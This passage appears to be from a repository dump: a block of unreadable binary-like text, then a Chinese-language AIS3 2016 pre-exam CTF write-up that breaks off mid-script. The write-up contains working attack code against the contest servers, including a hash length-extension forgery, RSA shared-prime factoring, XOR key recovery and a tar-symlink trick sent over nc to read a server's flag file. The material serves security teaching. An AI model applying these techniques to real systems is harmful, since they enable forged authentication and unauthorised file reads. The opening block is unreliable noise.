[517E,R15I"!+YP-ICT;,3BU,GD(SA*_1! /5o/1U/_/3>R< ]R= r+ 36 | N0* *:7F \,!BY1 D& G=O*0^y1T #:]L_>0YD A C;!qE#1\y(":H> B/3>A6E/A1 37 | >;E-y":<1B+80;(^D(  ] R,&:N 75XI. ;p3J=+/R< ]E6 7;E+-p9anPG<1QB 3 38 | A?_!O:> c6>&<:U+:>5QD A197qod 75T6 c74XI*8:_A*\&M/UBD) ]SA, 1 44 | mR 45 | 8I+!:B1DT,:g}BJ+ SRY:A+/QDD 46 |  SW=r1 47 | c8"I)!-]:~U(1gDXESv13=+R/9;=r]>\+:gQ^$KA>Z+O;1E%&-~T,#'%PW:XT>;gXU AV[>7. -5)T!86EP;ND304Y^,I4MI[x=2N,y 6nPA7 B1#U&0 QA-A!H!-bp& E6EA ?/ c6'T-.<)Q> 52 | ]^[z:: c<"I 54 | c<"T &=3X^:N_%>5SID; GSg-~&R0#T n2^Z;ND<$U@ ]%Px - &y1 cn.D\+ 1'7US: M]U+7,E,_+O::E0R8p =7U\,Y864XU M],O;,E 55 | &0&**X[>1"B7EA_[+;+ 56 | mR5T."4B00:gRE]SA.>, -R8$T*<X[9 B07_C + A SU5>&KN* *n>BF:D0,gD_D+ER !Cr7N"*% $SU+I Skc6_"0:c<2*=Y\2B1&X>AF+=1E,5?tn,YP X-:4X 2I A @*+6 c15T.>/X[:CT0%_D AV x<;E,*><cn(XA7ND:+.^WDJE6Rx ;,"<6#7P[;NG+ /QF 1DG 57 | _671&8>Y&%:X>^-O 58 | BDQA\3 59 | 6sE/0=*"&G:@1,gGY7IE A[?$6 cy7+n>RV0^9gXYI,1 97c84T 7-7P[8 TT7,g\U> 60 | ]x 3, N3 =;b^[30A-"DE1IIA,7- $R8'o:7T2^&A+(B< ]74: &y9*<6ET1 UO66$[X2I AG5&:N7y5?+F\+0><>CD& ]G*Cr101cn(Y\<03#X) DW[0 61 | 1,>I)!-]6C3qgbU> A#]x<;E,*><cnPG<36*C :I ] V . 62 | 6 c<3=!I'/;T,E:3XQ A 63 | S],O;1E,#TY6 64 | EAZtO::E *<#T'+B>DT07B_-_A0 65 | r="0?o!9x-@1 66 | BCJ+ I]x7-E+<5T ;1VP-NT*73UBqI!  GtO%7 67 | N+=p*86^@,IT;,7QY: D 68 | I[+O$:c<8&!-60<"T0I I[x *c?p9anPG<=4UB> 69 | MI]x 78 0R-?T*+E]>7/QCD2 1|6&^y!;+C\8D&M&DD6 AA[(75 70 | *N7I (aG6 73 | UT>;g`B5 O2An[ 7,19o=+HY::3"SDD+E SG=O;3 0+1 FT,NU8>1UTDw ALYZC@RtO<0N7M]$I: 74 | &7E-y8o/*_A^1$\UDSE+&5 .<" 6buT- IS,A:4DQ:ED Z?O::E*5p o/=BP103XUD;KA5IV-<,E-!  75 | ;+;]L^,gCE/ A G[?3< 6y1 o9:]V0Y8M6EY:I  76 | S[+O',/R*5anT+U+3XUD =+55< Eo=*CE-C1\Y>  QA\[9!* 0R15T&"3; S2.]];KS\x7>*>p n+YP&NQ:OQB&I  P+O3 "<$I;!Y\,NC,:57 A8 R=:,*po:7T7W:+gS_ / IV[;< 06'ZI 77 | "6KT= D: Y^ E 78 | D= 5:E&y?o/+EG> D03_ 6JE5 =1.*-1 79 | *n6B<DT, 05DD7ESQx::E&*p.:}L;QT7,gBE 80 | A 81 | 6*Ar (8=ZI 82 | "6KT= D1#D :I#Ax7+-R-?T% 8SZ*^Tw7"r1A_x=2GoR.8*n]\%R+  BY) ES[*O : 4=p 83 | >;>X[+^:A(.DXDJE% 84 | 85 |  1>'R8#To<:B@39A7"B6ZIZ?3<@Ix).n>_Q9Y4 >*Q:I 86 | AFY&A+(@:A^x"/173I (UP<B2O Q^sI!  Gx<;E#1\y!++V0S*:gDX+I1 I4R <<:N.*$T.8:W-R;A.S[ >D] Ax#+; oR8>I;&:H>UT>7&]UE6 7= '<#I. ;\1R3+>D A^URe-@c0<> ;b@@6UT+/.SQ3HE I\[+17E ,  8;n+YPV>-i}qI ],[14 .R/9;n^[8 _-sgGX- D)S_,r, 3R-8o-B&A>3DU 90 | ; E = 66 c,$T'/+\+NG,A+(X) DI= :@c4+?I.n3TA+ BX$3.JQ: E 91 | E*r9.R%o >CQ6U7&D 1I MI>AUx+3-c8#T*=/^[,R:A9(B6 AV[;'/ c74T*)0E\>Y8A+/UY,O5-7R)5 >]>TT21"DQ&I7r7 mR<.,:E]CT, 0$[U 92 | A G* 93 | 6cP15I'+>CA 94 | Y7.C@-I A9 r; 95 | &R0$T <YP-L*.C1 ]SW =>115I E]:ND/AI>AUx-;1& ~#T*:*C[^*%CU* 96 | A \9r+ 97 | N 75XI8&0\2U6+"\ID> 98 |  Gy979 +&7<"*n;TE8 7QI 99 | EV, 100 | 60-po0_R=E1OXUD7E x'2 101 | 1R-8o 3XO> U7A(.\\D2],]?91&E-y1*#/EF_T/-4EQ:I!  Gx= 1]I 1T 60- X1 D 0& *82'n6B= ^>7gXY qI!  Gx79&y8o*:\T1 102 | CZ%64WE+ IA1 103 | 89::-y<9+,/_66)W7EIR *38N 7p 9+-A>UT/ >$UD +'2c15T&"3T/\ 0gtQ<DA 7 6 104 | c11I'+\T&NR:5CE; Kkw%Px7+-y$I!1VW0BqA/Q^:I Sv13=+R8>I /-RL>:g]_ :E[ 7 .=9*"&A7^,A7.]0D  V15 c15T 105 | .=:Z9N| ;>gQ^>  106 | ]3=O : 4y8o>-^E0Q9g]Q-]+O"- 107 | 35)T,-:AA: 108 | T 6=QR+DIV*!"y8o&0AP,NG-5UF ) EA@[9<+Bc< ;n0WY>:3XSGx 00y>o:0X>B  6*:n E 4!:N4-8Tol7PE/\ r)"B9C]C=r6 /=9o/B@2Q&A0!D :I ]x;)c?p*n2P\1NS>>$DU,GD+IU[,7"83 ==R]>W,A)"BID2 AI[+O!*" |T ::z\+IT7,gWB (D _x=-N07# #+WG0,0$YQ6 109 | ESy6 110 | r> 111 | c759-++Y>TT;,3Q^:IA% 112 | W9Cr> 113 | c>84 I /+YP-^)"^D>AV; 114 | <;N7y&&:E]:Nt-&gVQ 6Kkw -------------------------------------------------------------------------------- /2016-ais3-pre-exam/README.md: -------------------------------------------------------------------------------- 1 | AIS3 pre-exam 簡單的 write-up 2 | ============================= 3 | 4 | 這次自己來亂入 AIS3 pre-exam,
5 | 還是沒有好好了解看看 pwn 的東西很難過,連試都沒試Orz
6 | 解的時間不夠 剩下的題目好難 Q_____Q
7 | 破臺的大黑黑是神人啊啊啊 8 | 9 | (順序按照我的解題順序) 10 | 11 | 希望這裡沒有什麼理解錯的地方 OTZ 12 | 13 | ![scoreboard](https://i.imgur.com/oZoC18v.png) 14 | 15 | ## web1 16 | Flag: `ais3{Y0u_beat_the_G00g1e!!}` 17 | 18 | 題目: 19 | ``` 20 | https://quiz.ais3.org:8011/ 21 | ``` 22 | 23 | ``` 24 | $ curl https://quiz.ais3.org:8011/ 25 | There is a secret page in these website. Even Google can not find it, can you? 26 | ``` 27 | 28 | 看到指示便知道應該跟搜尋引擎相關,去翻翻 `robots.txt` 應該會有些什麼: 29 | 30 | ``` 31 | $ curl https://quiz.ais3.org:8011/robots.txt 32 | User-agent: * 33 | Disallow: /admin 34 | Disallow: /cgi-bin/ 35 | Disallow: /images/ 36 | Disallow: /tmp/ 37 | Disallow: /private/ 38 | Disallow: /this_secret_page_you_should_not_know_where_it_is.php 39 | ``` 40 | 41 | 最下面的位址感覺很奇怪! 42 | 43 | ``` 44 | $ curl https://quiz.ais3.org:8011/this_secret_page_you_should_not_know_where_it_is.php 45 | ais3{Y0u_beat_the_G00g1e!!} 46 | ``` 47 | 48 | ## misc1 49 | Flag: `ais3{2016_^_^_hello_world!}` 50 | 51 | 題目: 52 | ``` 53 | Read the file! 54 | (檔案) misc1.txt 55 | ``` 56 | 57 | 檔案裡面就是 Flag 了Orz 58 | 59 | ``` 60 | $ curl https://pre-exam.ais3.org/files/misc1.txt 61 | ais3{2016_^_^_hello_world!} 62 | ``` 63 | 64 | ## web2 65 | Flag: `ais3{admin's_pane1_is_on_fir3!!!!!}` 66 | 67 | 題目: 68 | ``` 69 | https://quiz.ais3.org:8012/ 70 | ``` 71 | 72 | 這題就比較有趣一點了呢,點開之後得知 flag 會顯示在 `panel.php` 上,不過一點開,就馬上被重導向到 `you_should_not_pass`。 73 | 74 | ![甘道夫表示](http://i.imgur.com/vxEY0vq.png) 75 | 76 | 到文字界面看看呢? 77 | 78 | ``` 79 | $ curl https://quiz.ais3.org:8012/panel.php 80 | 81 | 82 | 83 | 84 | 85 | Admin Panel 86 | 87 | 88 | Admin's secret is: ais3{admin's_pane1_is_on_fir3!!!!!} 89 | 90 | ``` 91 | 92 | 作人還是不要隨波逐流比較好(?),只要不跟著 302 就沒事了。 93 | 94 | ## crypto2 95 | Flag: `ais3{HasH.eXtension.@tt@ck!}` 96 | 97 | 題目: 98 | ``` 99 | https://quiz.ais3.org:8014 100 | ``` 101 | 102 | 這題就複雜很多了,不過幸好之前有看過,從原始碼我們可以得知是 Length Extension Attack, 103 | 因此和其他類似的題目相同,只要用 [hashpump](https://github.com/bwall/HashPump) 傳給他對的 payload 就好了。 104 | 105 | 從 `assert(strlen($secret) <= 60);` 我們可以知道 key 的長度不大於 60,所以我們就來試 60 以下的數字吧: 106 | 107 | ```python 108 | #!/usr/bin/env python3 109 | # AIS3 pre-exam crypto2 solver 110 | # by pcchou 111 | 112 | from hashpumpy import hashpump 113 | from requests import get 114 | from urllib.parse import quote 115 | 116 | orig = ('4c316ad79e9a61e4b70c482970a3a7f539cf4acd', 'expire=1467320162') 117 | 118 | for i in range(60,0,-1): 119 | data = hashpump(orig[0], orig[1], "&expire=1500000000", i) 120 | print(get("https://quiz.ais3.org:8014/", params=quote(data[1] + b"&auth=" + data[0].encode('ascii'), safe="&=")).text.split("")[0]) 121 | ``` 122 | 123 | 果不其然,Flag 就出現了: 124 | 125 | ``` 126 | $ python3 solve.py | grep ais3 127 |
ais3{HasH.eXtension.@tt@ck!} 128 | ``` 129 | 130 | 131 | ## crypto3 132 | Flag: `ais3{Euc1id3an_a1g0ri7hm_i5_u53fu1}` 133 | 134 | 題目: 135 | ``` 136 | RSA 2048 137 | (檔案) rsa2048.tbz 138 | ``` 139 | 140 | 這題又更怪了,壓縮檔打開來是一個被加密過的 `flag.enc`,還有一個資料夾 `pub`,裡面有 100 個 `.pub` 檔案。 141 | 142 | ``` 143 | $ cat pub/0.pub 144 | -----BEGIN PUBLIC KEY----- 145 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQBpzbNqgUDuMYh5JmhU21WJ 146 | Hg+bJFBhbd6Jt0YZcYcspCPhpRgk9Vk7yDWsGUfZKjb/FjPc7stAIDoaMcXGoZG9 147 | 8k5mXYxsalVhplTJv2Aqy833qcXnK7u2y+VBSQpo+tzJ5yogCt9ymnGj78Peupi4 148 | cEZA2mofU5yDjMwInsbjo1P1Wr8nHCCFqBw/6lS5RwBtyktW1AAF2Dgkm/r1mtkJ 149 | eLG/7H04T/Yl/QyY2uPKs+f4T4ScasHprBhEv05LDlHzGMb/lJq/c0Mn9xKG1vZ3 150 | +Vgoyb7KeV7PgeIS+l0jZt3yFWIhOEqNlAhmWlQkSvHwJtgmVLYEyyG4M9QTUh1v 151 | AgQKsc4T 152 | -----END PUBLIC KEY----- 153 | ``` 154 | 155 | 從文字判斷我們就能知道這是一個 Public Key 檔案,根據我們的題目名稱,很有可能是 RSA 吧! 156 | 157 | 用 openssl 把其中一個拆拆看: 158 | 159 | ``` 160 | $ openssl rsa -noout -text -inform PEM -in pub/0.pub -pubin 161 | Public-Key: (2047 bit) 162 | Modulus: 163 | 69:cd:b3:6a:81:40:ee:31:88:79:26:68:54:db:55: 164 | 89:1e:0f:9b:24:50:61:6d:de:89:b7:46:19:71:87: 165 | 2c:a4:23:e1:a5:18:24:f5:59:3b:c8:35:ac:19:47: 166 | d9:2a:36:ff:16:33:dc:ee:cb:40:20:3a:1a:31:c5: 167 | c6:a1:91:bd:f2:4e:66:5d:8c:6c:6a:55:61:a6:54: 168 | c9:bf:60:2a:cb:cd:f7:a9:c5:e7:2b:bb:b6:cb:e5: 169 | 41:49:0a:68:fa:dc:c9:e7:2a:20:0a:df:72:9a:71: 170 | a3:ef:c3:de:ba:98:b8:70:46:40:da:6a:1f:53:9c: 171 | 83:8c:cc:08:9e:c6:e3:a3:53:f5:5a:bf:27:1c:20: 172 | 85:a8:1c:3f:ea:54:b9:47:00:6d:ca:4b:56:d4:00: 173 | 05:d8:38:24:9b:fa:f5:9a:d9:09:78:b1:bf:ec:7d: 174 | 38:4f:f6:25:fd:0c:98:da:e3:ca:b3:e7:f8:4f:84: 175 | 9c:6a:c1:e9:ac:18:44:bf:4e:4b:0e:51:f3:18:c6: 176 | ff:94:9a:bf:73:43:27:f7:12:86:d6:f6:77:f9:58: 177 | 28:c9:be:ca:79:5e:cf:81:e2:12:fa:5d:23:66:dd: 178 | f2:15:62:21:38:4a:8d:94:08:66:5a:54:24:4a:f1: 179 | f0:26:d8:26:54:b6:04:cb:21:b8:33:d4:13:52:1d: 180 | 6f 181 | Exponent: 179424787 (0xab1ce13) 182 | ``` 183 | 184 | 哎呀,這指數好奇怪啊,不過好像也不影響,讓我們繼續看下去。 185 | 186 | `flag.enc` 看起來也的確像是一般 RSA 加密的資料: 187 | 188 | ``` 189 | $ xxd flag.enc 190 | 00000000: 01b0 5660 3007 c2b4 5863 2f1b 292a ed80 ..V`0...Xc/.)*.. 191 | 00000010: c434 0ac4 94a8 4d52 83ca aff0 6037 a130 .4....MR....`7.0 192 | 00000020: 03e6 9f66 75e5 1f14 8673 5b1c 2b55 4cb9 ...fu....s[.+UL. 193 | 00000030: 53b9 6f34 d1da d3d2 df46 4877 cd4e cf23 S.o4.....FHw.N.# 194 | 00000040: e5bd 0939 1206 ae2c ba21 98b3 daa6 b6fe ...9...,.!...... 195 | 00000050: 564c 65ec 8748 ca6d 0054 5b3f bfe7 7c88 VLe..H.m.T[?..|. 196 | 00000060: 7b08 f580 c45c 95c0 c293 fa83 9d8c 8aab {....\.......... 197 | 00000070: 566b 488a 1af5 a2b3 bb2c 5aaf 4dab 7964 VkH......,Z.M.yd 198 | 00000080: 573b e5aa 795b 802d 7014 bf63 ee89 2d43 W;..y[.-p..c..-C 199 | 00000090: 9c9e 405e 5994 18b3 3eb1 5861 a14a ea19 ..@^Y...>.Xa.J.. 200 | 000000a0: c23a 9d96 2594 cf4a 64b3 76f4 b8be a07c .:..%..Jd.v....| 201 | 000000b0: 1092 cebd f923 0b65 03af 498a 6e45 765d .....#.e..I.nEv] 202 | 000000c0: 56f3 17ca c63d 884c e08e c53d aba9 977a V....=.L...=...z 203 | 000000d0: 23c3 be56 44a3 1dca 9aa5 c3d2 e247 0dc2 #..VD........G.. 204 | 000000e0: 449f bac4 8ce4 8053 bac3 76a2 cae0 5d59 D......S..v...]Y 205 | 000000f0: 5139 f754 a3ca 595c f719 6170 e4ae 9308 Q9.T..Y\..ap.... 206 | ``` 207 | 208 | 這時候該怎麼辦呢?想了很久之後,得到了一個可能就是:100 個公鑰的模數 中,萬一有共用的質因數呢? 209 | 210 | 先別管這個了,我們先來把所有公鑰的模數(modulus)都讀出來: 211 | 212 | ``` 213 | $ find -name '*.pub' -exec bash -c 'grep -v -- ----- {}| base64 -d | openssl asn1parse -inform DER -i -strparse 19' \; | grep 'hl=4' | grep 'INTEGER' | awk -F':' '{print $4}' > moduli # 把所有的 .pub 檔案 都讀出來,用 openssl 取出,再把不要的東西刪掉 214 | $ wc -l moduli # 確定是 100 個沒有錯 215 | 100 moduli 216 | ``` 217 | 218 | 繼續前面的話題,我們知道 RSA 加密會成立,其中必須要件是模數必須要是 ![p](http://latex.codecogs.com/png.latex?p) ![q](http://latex.codecogs.com/png.latex?q) 兩個很大的質數相乘構成。進行因數分解礦日費時,因此 ![p](http://latex.codecogs.com/png.latex?p) ![q](http://latex.codecogs.com/png.latex?q) 才不會被得知,也才能保證加密有效。 219 | 220 | 不過求公因數(判斷是否互質)就快多了,透過歐幾里得算法(輾轉相除法),電腦很快就可以求得大數與大數間的公因數,而公因數一定是其中一個的因數,要是這 100 個模數之間有公因數,那麼我們很快就可以求得,然後破解原先的明文。 221 | 222 | 接下來,打開 python,來試試看是不是這樣吧: 223 | 224 | ```python 225 | >>> from json import loads 226 | >>> from math import gcd 227 | >>> with open('moduli', 'r') as f: moduli = f.readlines() # 讀出剛剛轉存的數值 228 | ... 229 | >>> moduli = [int(x, 16) for x in moduli] # 轉成十進位 230 | >>> for i in moduli: 231 | ... for j in moduli: 232 | ... if i==j: pass # 當兩個要測試的數字是同一個時略過 233 | ... else: 234 | ... if gcd(i, j) != 1: break # 當公因數不是 1 時跳出迴圈 235 | ... 236 | >>> gcd(i, j) # 這兩個數字不是互質的!這代表我們能找出它們的 p、q 了 237 | 94554941196683181096147167112748782646379456332243826265219948331943489226411816615954261158176104318033927443521418310512513542643556191610222856229880344608095715694263847592386328690925789609017197867226771313386996125376588775009121140685049041198174496792411181801748521126593669280694145403319555977669 238 | >>> i % gcd(i, j) 239 | 0 240 | >>> j % gcd(i, j) # 的確是公因數沒錯,這個數字能夠同時整除 i 跟 j 這兩個公鑰的模數呢。 241 | 0 242 | ``` 243 | 244 | 這下我們只要求出 p 和 q,再代回 RSA 解密的算式 ![t = c^e mod n](http://latex.codecogs.com/png.latex?t%20=%20c^{e}%20\\mod%20n),就能得到解答了...? 245 | 246 | ```python 247 | >>> from gmpy import invert # gmpy 這個 library 裡面有方便能直接 import 的求模反元素(modinv)函數,不過上網也很容易找到一樣的東西 248 | >>> p = gcd(i, j) 249 | >>> q = i // p # i = n = p * q,除回來 250 | >>> d = int(invert(0xab1ce13, (p-1)*(q-1))) # 求模反元素 d 251 | >>> from binascii import * # binascii 這個工具可以方便在 hex 跟字元之間轉換 252 | >>> with open('flag.enc', 'rb') as f: ciphertext = int(hexlify(f.read()), 16) # 從 flag.enc 裡面讀出資料,轉成 int 253 | >>> cleartext = pow(ciphertext, d, i) # t = c^e mod n 254 | >>> unhexlify(format(cleartext, 'x')) 255 | b'3\xd1\xf3\nD_\xd9\x16\xf8\xa5\x08\x83\xddHz"\x88N\xb3\x13\r%\x10\xafU\xeff\xdd\xf8\x13\xbf\x00\x84\x1e$ ]\xed\xd6\xe5\x80\xe2\x8fa\xe2\xb6{\xdbc\xbe4>\x89\xea\x19\xa6.\xdbV\x82\xa7\xf9c\x06 \x8d|\xb6\xd8\xceF|X\x90_:\x85\x02W\x13DuXpD\x02\xcb\xbeXv\xf9Y~\xb8\xfdGE\xc3>\x04\x11Z\x01\x8e2/\x914(\xbc\xe0\\7L\x86?\x0e\x98\xe5\'\xde\xff\xd3s1y\x0c,\xa4\x9b\xb6?\xc9v\xd4\xb5\xb6*\x94\xbd\xe5 \x11O\x94\x04\'1iN\xbd\xbd\xbc\'.aP\x1e\xb7S\xe9\x15\x9e8\xc6\xe7\xad\x88\xe8\x84\xefo9\xbc\xc2N\x97o\xfe\x9c\xdf\r\xe4\xb1Y\xfd\xf7W\xba\xa6N\x18\xe9\x15[Ik\xb6\xc0\xc2}\xfa\x9f\xfd\xcc3\xfbA\xb0\xff\xca;\x03c\x1c\xa9\'\x9e\x8fW\xbc\x00t?\xf2\xf9\\ ,,;Y\x8b\r:\x12\\\xd9@HB\xfe`=6\xe0Q\xe5\x89\x1b)\xb4E\x8di\x82' 256 | ``` 257 | 258 | 疑?為什麼這樣還沒算出 flag 呢? 259 | 260 | 裡面有很多的公鑰,不過即使我們能夠分解它,只要 `flag.enc` 不是用它加密的,對我們都沒有用。
261 | 因此我們需要嘗試求出每個公鑰的因數,看到底是哪一個可以成功把 `flag.enc` 解密。 262 | 263 | ```python 264 | #!/usr/bin/env python3 265 | # Solver for AIS3 pre-exam Crypto 3 - rsa2048 266 | # by pcchou 267 | 268 | import json 269 | from gmpy import gcd, invert 270 | from binascii import * 271 | 272 | with open('moduli', 'r') as f: 273 | moduli = f.readlines() # 讀出剛剛轉存的數值 274 | moduli = [int(x, 16) for x in moduli] # 轉成十進位 275 | 276 | with open('flag.enc', 'rb') as f: 277 | ciphertext = int(hexlify(f.read()), 16) 278 | 279 | cleartext = b'' 280 | 281 | while b'ais3' not in cleartext: 282 | for i in moduli: 283 | for j in moduli: 284 | if i==j: 285 | pass 286 | else: 287 | p = gcd(i,j) 288 | if p != 1: 289 | q = i // p 290 | d = int(invert(0xab1ce13, (p-1)*(q-1))) 291 | try: 292 | cleartext = unhexlify(format(pow(ciphertext, d, i), 'x')) 293 | except Error: 294 | pass 295 | break 296 | else: 297 | print(cleartext) 298 | ``` 299 | 300 | 於是 Flag 就出來囉: 301 | 302 | ``` 303 | $ time python solve.py 304 | b'ais3{Euc1id3an_a1g0ri7hm_i5_u53fu1}' 305 | 306 | real 0m5.283s 307 | user 0m5.248s 308 | sys 0m0.000s 309 | ``` 310 | 311 | ## crypto1 312 | Flag: `ais3{XoR_enCrYPtiON_15_n0t_a_G00d_idea}` 313 | 314 | 題目: 315 | ``` 316 | Read the file! 317 | (檔案) crypto1 318 | ``` 319 | 320 | 題目給的檔案是一個很長的一串 binary,乍看之下沒什麼意義
321 | 一開始怎麼猜都猜不到,後來有了 XOR 這個有利提示便知道這是 XOR 加密的結果,運用 xortool 這個工具可以快速戳出答案: 322 | 323 | ``` 324 | $ xortool -o crypto1 325 | The most probable key lengths: 326 | 1: 10.6% 327 | 3: 12.7% 328 | 6: 11.6% 329 | 9: 9.7% 330 | 13: 13.7% 331 | 15: 7.8% 332 | 18: 6.9% 333 | 21: 6.1% 334 | 26: 8.1% 335 | 39: 12.7% 336 | Key-length can be 3*n 337 | 400 possible key(s) of length 13: 338 | ... 339 | Found 0 plaintexts with 95.0%+ printable characters 340 | See files filename-key.csv, filename-char_used-perc_printable.csv 341 | $ xortool -o crypto1 -l 3 # 前面自動試的,最有可能的 key 長度 13 沒成功(沒有找到 95% 以上可讀的明文),換次之的 3 342 | 100 possible key(s) of length 3: 343 | ... 344 | Found 0 plaintexts with 95.0%+ printable characters 345 | See files filename-key.csv, filename-char_used-perc_printable.csv 346 | $ xortool -o crypto1 -l 39 # 換 39 347 | 100 possible key(s) of length 39: 348 | ... 349 | Found 59 plaintexts with 95.0%+ printable characters 350 | See files filename-key.csv, filename-char_used-perc_printable.csv 351 | $ grep -r ais3 xortool_out # 噹噹!來看看找到的結果裡面有些什麼 352 | xortool_out/filename-key.csv:xortool_out/94.out;ais3{XoR_enCrYPtiON_15_n0t_a_G00d_i!ea} 353 | ``` 354 | 355 | 果然 flag 就這樣出現了,不過立刻發現無法提交,原來後面的驚嘆號是個錯誤,改成 `ais3{XoR_enCrYPtiON_15_n0t_a_G00d_idea}` 就成功了! 356 | 357 | ## misc3 358 | Flag: `ais3{First t1me 1$sc4pe tHE S4nd80x}` 359 | 360 | 題目: 361 | ``` 362 | telnet://quiz.ais3.org:9150 363 | (檔案) misc3.py 364 | ``` 365 | 366 | 這是一個有點神秘的題目,看了一下 code 之後發現他做的事情大概就是: 367 | 368 | 1. 先問要接下來讀取的長度 369 | 2. 讀入純文字的資料(不能是 binary,要 ascii,否則會 UnicodeEncodeError) 370 | 3. 把讀到的資料存成一個檔案 371 | 4. 用 `tar xf` 打開它 372 | 5. 讀當前目錄的 `flag.txt`,把它和 tar 解壓縮出來,裡面的 `guess.txt` 比較 373 | 6. 如果上一步比較相同,就噴出 `flag.txt` 給我們 374 | 375 | 前面純文字資料的部份,正好 tar 是個純文字的檔案格式,只要裡面也是純文字就不會有任何 ascii 無法編碼的資料出現,不打緊。 376 | 377 | 不過我們不知道 flag,要怎麼讓它比對成功呢?
378 | 答案是透過 UNIX 下的檔案連結:symbolic link 的方式。 379 | 380 | 因為 tar 可以完整保存 UNIX 的檔案格式、權限(整個 inode 的參數),所以包括連結指向的東西也可以保留在內,解壓縮時也會重新展開。 381 | 382 | 我們只要在本地端建立一個指到 flag 的 symbolic link,然後再包到 tar 裡面,傳給主機, 383 | 它比較的就會實指同一個檔案,最後就會給我們 flag 了! 384 | 385 | ``` 386 | $ ln -s flag.txt guess.txt 387 | $ ls -l guess.txt 388 | lrwxrwxrwx 1 pcchou pcchou 8 Jul 13 02:23 guess.txt -> flag.txt 389 | $ tar cf tarf guess.txt 390 | $ cat tarf | wc -m | cat - tarf | nc quiz.ais3.org 9150 391 | /usr/bin/sha1sum: ./tmpotzmg755/guess.txt: No such file or directory 392 | Different. 393 | Traceback (most recent call last): 394 | File "/home/misc/misc.py", line 30, in 395 | b = subprocess.check_output(['/usr/bin/sha1sum', os.path.join(outdir, 'guess.txt')]) 396 | File "/usr/lib/python3.4/subprocess.py", line 620, in check_output 397 | raise CalledProcessError(retcode, process.args, output=output) 398 | subprocess.CalledProcessError: Command '['/usr/bin/sha1sum', './tmpotzmg755/guess.txt']' returned non-zero exit status 1 399 | ``` 400 | 401 | 疑!竟然還是出現錯誤了,該怎麼辦呢? 402 | 403 | 看來是 symlink 沒有指到對的地方的關係,不過這個錯誤訊息透漏了一個蛛絲馬跡:
404 | 我們的家目錄很有可能在 `/home/misc`!
405 | 而因為前面已經有 `os.chdir(os.environ['HOME'])` 的關係,所以可以確定家目錄就是當前讀檔的目錄了, 406 | 407 | 所以只要把 symlink 改指到 `/home/misc/flag.txt` 就可以成功獲取 flag: 408 | 409 | ``` 410 | $ rm guess.txt 411 | $ ln -s /home/misc/flag.txt guess.txt 412 | $ ls -l guess.txt 413 | lrwxrwxrwx 1 pcchou pcchou 8 Jul 13 02:46 guess.txt -> /home/misc/flag.txt 414 | $ tar cf tarf guess.txt 415 | $ cat tarf | wc -m | cat - tarf | nc quiz.ais3.org 9150 416 | ais3{First t1me 1$sc4pe tHE S4nd80x} 417 | 418 | ``` 419 | 420 | ## misc2 421 | Flag: `ais3{7zzZzzzZzzZzZzzZiP}` 422 | 423 | 題目: 424 | ``` 425 | Read the file! 426 | (檔案) UNPACK_ME 427 | ``` 428 | 429 | ``` 430 | $ file UNPACK_ME 431 | UNPACK_ME: data 432 | $ xxd UNPACK_ME | head -n 8 433 | 00000000: 375a bcaf 271c 0003 97fa 34cd bf75 0400 7Z..'.....4..u.. 434 | 00000010: 0000 0000 2400 0000 0000 0000 0f6d 9320 ....$........m. 435 | 00000020: 7fc7 1bd6 3232 8b34 c4a3 bda1 35ff 1bfe ....22.4....5... 436 | 00000030: 7606 9e02 4b37 0f8a 77d6 0fba c7d4 3364 v...K7..w.....3d 437 | 00000040: 71f1 cc64 a788 ee07 1d2e 4e63 da79 3394 q..d......Nc.y3. 438 | 00000050: 9dc3 16d0 e647 7f52 b7a1 647c fbc4 2742 .....G.R..d|..'B 439 | 00000060: 8e22 2d36 6608 bb4a ce54 68eb c037 efd2 ."-6f..J.Th..7.. 440 | 00000070: c22d 25a9 f93f 64f2 2858 0884 04ea 3691 .-%..?d.(X....6. 441 | ``` 442 | 443 | 從檔案的開頭我們就能知道這是一個 7z 壓縮檔,不過第二個字元從小寫的 `z` 被改成了大寫的 `Z`,所以沒有被判斷成 7z 檔案,我們用 hex 編輯器把它改成小寫試看看: 444 | 445 | ``` 446 | $ file UNPACK_ME 447 | UNPACK_ME: 7-zip archive data, version 0.3 448 | ``` 449 | 450 | 解壓縮之後會找到 `UDJRRDVRJyfbWBxEMLEX` 和 `tArdCNLMPjLxqs5USx3T` 兩個檔案(後者被密碼保護), 451 | 452 | 隨便猜一猜之後發現前者的檔名就是後者的密碼,而 `tArdCNLMPjLxqs5USx3T` 也是個檔頭被修改的 7z 檔,把檔頭修正之後繼續拆拆拆。 453 | 454 | 打開 `tArdCNLMPjLxqs5USx3T` 也需要密碼,倒不用擔心,同樣是 `UDJRRDVRJyfbWBxEMLEX`,不過這次的檔案結構有點特別: 455 | 456 | ``` 457 | secret.txt 458 | GkBBGdDtgCbEaSxRL4Bv 459 | ``` 460 | 461 | `GkBBGdDtgCbEaSxRL4Bv` 這個檔案是一樣的鬼東東,修正檔頭後,果然也需要密碼。
462 | 這次 `UDJRRDVRJyfbWBxEMLEX` 就不能用了,不過這裡有神秘的 `secret.txt`,打開來正好是一串類似的字串:`SoN22wMNyesMfArxkKaF`,當然也就是我們的密碼。 463 | 464 | 於是拆開來後發現結構一樣: 465 | 466 | ``` 467 | wh3P5G6bS6NBHydRUrCr 468 | secret.txt 469 | ``` 470 | 471 | 這下可好!不知道要重複多少遍了,我們乾脆 script 來跑吧! 472 | 473 | ```bash 474 | while true; do 475 | filename=$(7za x $filename -y -p$(cat secret.txt) | tee /dev/fd/2 | grep 'Extracting' | grep -v 'secret.txt' | awk '{print $2}') 476 | printf 'z' | dd of=$filename bs=1 seek=1 count=1 conv=notrunc # 把第二個 byte (count 從零開始)改成小寫 z 477 | done 478 | ``` 479 | (請先指定一個可以正確解壓縮的壓縮檔 `filename` 給它(例如 `wh3P5G6bS6NBHydRUrCr`) 480 | 481 | 跑了快一千次上下就會解出一個壓縮檔只有 `flag.txt` 這個檔案而無法繼續跑下去,打開來當然就是我們要的東西: 482 | ``` 483 | azs3{7zzZzzzZzzZzZzzZiP} 484 | ``` 485 | 486 | 修正為正確的格式(`ais3{7zzZzzzZzzZzZzzZiP}`)就是 flag 了。 487 | 488 | ## binary1 489 | Flag: `ais3{readING_ASSemblY_4_FUN!}` 490 | 491 | 題目: 492 | ``` 493 | Read the binary! 494 | (檔案) rev 495 | ``` 496 | 497 | 這題好麻煩喔,我要先上解題 script: 498 | 499 | ```python 500 | #!/usr/bin/env python3 501 | 502 | from binascii import * 503 | encrypted = unhexlify("ca7093c8067f23a1e0482a39ae54f279f2848b05a2521929c454aaf0ca") 504 | 505 | for i, d in 